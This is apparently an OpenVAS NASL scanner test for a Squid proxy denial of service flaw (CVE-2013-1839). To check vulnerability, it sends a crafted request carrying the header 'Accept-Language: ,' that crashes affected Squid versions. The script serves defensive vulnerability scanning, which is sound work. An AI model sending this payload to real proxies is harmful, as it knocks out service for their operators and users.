Squid Proxy Accept-Language Header Denial Of Service Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_squid_accept-language_hdr_dos_vuln.nasl 12148 2018-10-29 09:52:06Z cfischer $
#
# Squid Proxy Accept-Language Header Denial Of Service Vulnerability
#
# Authors:
# Veerendra G.G <[email protected]>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:squid-cache:squid";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802062");
  script_version("$Revision: 12148 $");
  script_bugtraq_id(58316);
  script_cve_id("CVE-2013-1839");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"$Date: 2018-10-29 10:52:06 +0100 (Mon, 29 Oct 2018) $");
  script_tag(name:"creation_date", value:"2013-10-03 18:01:36 +0530 (Thu, 03 Oct 2013)");
  script_name("Squid Proxy Accept-Language Header Denial Of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("This script is Copyright (C) 2013 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_dependencies("secpod_squid_detect.nasl");
  script_mandatory_keys("squid_proxy_server/installed");
  script_require_ports("Services/www", "Services/http_proxy", 3128, 8080);

  script_xref(name:"URL", value:"http://secunia.com/advisories/52588");
  script_xref(name:"URL", value:"http://www.squid-cache.org/Advisories/SQUID-2013_1.txt");
  script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2013/03/11/7");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/525932/30/30/threaded");
  script_xref(name:"URL", value:"http://www.squid-cache.org/Download");

  script_tag(name:"summary", value:"This host is running Squid Proxy Server and is prone to denial of service
  vulnerability.");

  script_tag(name:"vuldetect", value:"Send crafted 'Accept-Language' header request and check is it vulnerable to
  DoS or not.");

  script_tag(name:"solution", value:"Upgrade to Squid Version 3.2.9, 3.3.3 or later.");

  script_tag(name:"insight", value:"Error within the 'strHdrAcptLangGetItem()' function in errorpage.cc when
  handling the 'Accept-Language' header.");

  script_tag(name:"affected", value:"Squid Version 3.2.x before 3.2.9 and 3.3.x before 3.3.3");

  script_tag(name:"impact", value:"Successful exploitation could allow remote attackers to cause a denial of
  service via a crafted 'Accept-Language' header.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

squid_port = get_app_port(cpe:CPE);
if(!squid_port){
  exit(0);
}

normal_req = http_get(item:"http://www.$$$$$", port:squid_port);
normal_res = http_send_recv(port:squid_port, data:normal_req);

if(!normal_res || "Server: squid" >!< normal_res){
  exit(0);
}

crafted_req = string( "GET http://testhostdoesnotexists.com:1234 HTTP/1.1\r\n",
                      "Accept-Language: ,", "\r\n", "\r\n" );
crafted_res = http_send_recv(port:squid_port, data:crafted_req);

normal_res = http_send_recv(port:squid_port, data:normal_req);
if(!normal_res) {
  security_message(port:squid_port);
  exit(0);
}

exit(0);